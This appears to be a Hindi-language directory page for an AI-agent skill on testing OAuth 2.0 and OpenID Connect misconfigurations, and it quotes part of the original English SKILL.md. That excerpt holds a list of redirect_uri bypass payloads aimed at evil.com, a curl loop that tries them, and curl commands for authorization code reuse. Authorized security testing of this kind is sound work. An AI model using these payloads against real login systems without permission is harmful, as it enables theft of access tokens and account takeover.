exploiting-oauth-misconfiguration
यह क्या करती है
यह टूल OAuth 2.0 या OpenID Connect इस्तेमाल करने वाले लॉगिन सिस्टम में सुरक्षा खामियां ढूंढने और उनका फायदा उठाकर जांचने में मदद करता है। यह जांचता है कि क्या यूज़र्स को किसी खतरनाक साइट पर भेजा जा सकता है या लॉगिन की जानकारी चुराई जा सकती है।
कब इस्तेमाल करें
- ✓'Login with Google/Facebook' वाली वेबसाइट्स की सुरक्षा जांचते समय।
- ✓यह देखते समय कि अलग-अलग ऐप्स एक-दूसरे से सुरक्षित तरीके से कैसे जुड़ते हैं।
- ✓यह जांचने के लिए कि आपके अपने ऐप का लॉगिन सिस्टम हमलों से सुरक्षित है या नहीं।
Skill का लिंक
https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/exploiting-oauth-misconfiguration/SKILL.mdइसे कॉपी करके अपने AI (Claude, ChatGPT या Cursor) में पेस्ट करें और निर्देशों का पालन करने को कहें।
कैसे इस्तेमाल करें
सबसे आसान तरीका: मैसेज कॉपी करके अपने AI में पेस्ट करें। वह skill पढ़कर निर्देशों का पालन करेगा।
पेस्ट करने के लिए तैयार मैसेज
Claude Code, Codex या Cursor के लिए: प्रोजेक्ट फ़ोल्डर में चलाएँ और skill इंस्टॉल हो जाएगी।
SKILL.md डाउनलोड करें और अपने एजेंट के skills फ़ोल्डर में रखें।
AI से क्या माँगें: उदाहरण
“जांचो कि क्या मेरी साइट पर Google लॉगिन को धोखा देकर access tokens चुराए जा सकते हैं।”
हर हफ़्ते 5 नई skills, 1 मिनट में पढ़ें।
यह कैसे काम करती है
टूल आम हमलों की नकल करता है, जैसे लॉगिन रीडायरेक्ट को धोखा देने की कोशिश करना, या वह संवेदनशील जानकारी पकड़ना जो गोपनीय रहनी चाहिए।
तकनीकी सामग्री (मूल SKILL.md)
लेखक का मूल टेक्स्ट, अंग्रेज़ी में, सीधे GitHub से।
Exploiting OAuth Misconfiguration
When to Use
- During authorized penetration tests when the application uses OAuth 2.0 or OpenID Connect for authentication
- When assessing "Sign in with Google/Facebook/GitHub" social login implementations
- For testing single sign-on (SSO) flows between applications
- When evaluating API authorization using OAuth bearer tokens
- During security assessments of applications acting as OAuth providers or consumers
Prerequisites
- Authorization: Written penetration testing agreement covering OAuth/SSO flows
- Burp Suite Professional: For intercepting OAuth redirect flows
- Browser with DevTools: For monitoring redirect chains and token leakage
- Multiple test accounts: On both the OAuth provider and the target application
- curl: For manual OAuth flow testing
- Attacker-controlled server: For receiving redirected tokens/codes
Workflow
Step 1: Map the OAuth Flow and Configuration
Identify the OAuth grant type, endpoints, and configuration.
# Discover OAuth/OIDC configuration endpoints
curl -s "https://target.example.com/.well-known/openid-configuration" | jq .
curl -s "https://target.example.com/.well-known/oauth-authorization-server" | jq .
# Key endpoints to identify:
# - Authorization endpoint: /oauth/authorize
# - Token endpoint: /oauth/token
# - UserInfo endpoint: /oauth/userinfo
# - JWKS endpoint: /oauth/certs
# Capture the authorization request in Burp
# Typical authorization code flow:
# GET /oauth/authorize?
# response_type=code&
# client_id=CLIENT_ID&
# redirect_uri=https://app.example.com/callback&
# scope=openid profile email&
# state=RANDOM_STATE
# Identify the grant type:
# - Authorization Code: response_type=code
# - Implicit: response_type=token
# - Hybrid: response_type=code+token
# Check for PKCE parameters:
# - code_challenge=...
# - code_challenge_method=S256
Step 2: Test Redirect URI Manipulation
Attempt to redirect the authorization code or token to an attacker-controlled domain.
# Test open redirect via redirect_uri
# Original: redirect_uri=https://app.example.com/callback
# Attempt various bypasses:
BYPASSES=(
"https://evil.com"
"https://app.example.com.evil.com/callback"
"https://app.example.com@evil.com/callback"
"https://app.example.com/callback/../../../evil.com"
"https://evil.com/?.app.example.com"
"https://evil.com#.app.example.com"
"https://app.example.com/callback?next=https://evil.com"
"https://APP.EXAMPLE.COM/callback"
"https://app.example.com/callback%0d%0aLocation:https://evil.com"
"https://app.example.com/CALLBACK"
"http://app.example.com/callback"
"https://app.example.com/callback/../../other-path"
)
for uri in "${BYPASSES[@]}"; do
echo -n "Testing: $uri -> "
status=$(curl -s -o /dev/null -w "%{http_code}" \
"https://auth.target.example.com/oauth/authorize?response_type=code&client_id=APP_ID&redirect_uri=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$uri'))")&scope=openid&state=test123")
echo "$status"
done
# If redirect_uri validation is path-based, try path traversal
# redirect_uri=https://app.example.com/callback/../attacker-controlled-path
# If subdomain matching, try subdomain takeover + redirect
# redirect_uri=https://abandoned-subdomain.example.com/
Step 3: Test for Authorization Code and Token Theft
Exploit leakage vectors for stealing OAuth tokens and codes.
# Test token leakage via Referer header
# If implicit flow returns token in URL fragment:
# https://app.example.com/callback#access_token=TOKEN
# And the callback page loads external resources,
# the Referer header may leak the URL with the token
# Test for authorization code leakage via Referer
# After receiving code at callback, check if:
# 1. Page loads external images/scripts
# 2. Page has links to external sites
# Burp: Check Proxy History for Referer headers containing "code="
# Test authorization code reuse
CODE="captured_auth_code"
# First use
curl -s -X POST "https://auth.target.example.com/oauth/token" \
-d "grant_type=authorization_code&code=$CODE&redirect_uri=https://app.example.com/callback&client_id=APP_ID&client_secret=APP_SECRET"
# Second use (should fail but may not)
curl -s -X POST "https://auth.target.example.com/oauth/token" \
-d "grant_type=authorization_code&code=$CODE&redirect_uri=https://app.example.com/callback&client_id=APP_ID&client_secret=APP_SECRET"
…
अक्सर पूछे जाने वाले सवाल
OAuth 2.0/OpenID Connect क्या है?
ये ऐसे मानक (standards) हैं जिनकी मदद से आप किसी नई वेबसाइट पर बिना नया पासवर्ड बनाए, किसी और सर्विस (जैसे Google) से लॉगिन कर सकते हैं। कई साइट्स पर दिखने वाला 'Login with Google' यही है।
'redirect URI manipulation' क्या है?
यह सिस्टम को धोखा देने की कोशिश है, ताकि लॉगिन के बाद यूज़र को मूल साइट पर वापस भेजने के बजाय हमलावर की नियंत्रित साइट पर भेज दिया जाए।
क्या इस टूल को इस्तेमाल करने के लिए अनुमति चाहिए?
हां, किसी भी सिस्टम की जांच से पहले लिखित अनुमति लेना बहुत ज़रूरी है। बिना अनुमति इसका इस्तेमाल करना गैर-कानूनी है।
जानकारी
लेखक का मूल विवरण
Identifying and exploiting OAuth 2.0 and OpenID Connect misconfigurations including redirect URI manipulation, token leakage, and authorization code theft during security assessments.
लोकप्रियता
- GitHub स्टार
- 35k
- रैंकिंग में स्थान
- #7918
- लाइसेंस
- Apache-2.0
- अपडेट की गई
- 31/8/2026
कमेंट
- …
इस repository की और skills
abusing-dpapi-for-credential-access
35kआपके AI एजेंट को किसी खास काम के लिए तैयार instructions देता है, ताकि वह उसे बेहतर और तेज़ी से कर सके।
abusing-shadow-credentials-for-privesc
35kआपके AI एजेंट को साफ़ और अच्छी तरह से व्यवस्थित लिखना सिखाता है।
achieving-cmmc-level-2-compliance
35kयह आपके एजेंट को CMMC Level 2 compliance के लिए environment तैयार करने में मदद करता है। यह security requirements लागू करता है और ज़रूरी documentation संभालता है।
acquiring-disk-image-with-dd-and-dcfldd
35kआपके एजेंट को hard drives की exact copies बनाने में मदद करता है। जाँच के दौरान किसी भी जानकारी के खोने या बदलने से बचाने के लिए यह उपयोगी है।
मिलती-जुलती skills
reverse-engineer-anything
422kयह आपके एजेंट को REA टूल से शिप हुई ऐप्स और पैकेज को अंदर से समझने, वर्ज़न की तुलना करने या दोबारा बनाने में मदद करती है।
1password
394kयह आपके एजेंट को 1Password CLI सेट करने, साइन इन करने और सीक्रेट्स की वैल्यू चैट में छापे बिना उन्हें पढ़ने या इस्तेमाल करने में मदद करती है।
healthcheck
394kयह आपके एजेंट को उस कंप्यूटर या सर्वर का सुरक्षा ऑडिट करने देती है जिस पर OpenClaw चलता है, जिसमें SSH, firewall, अपडेट और बैकअप शामिल हैं, और फिर सुरक्षित सुधार सुझाती है।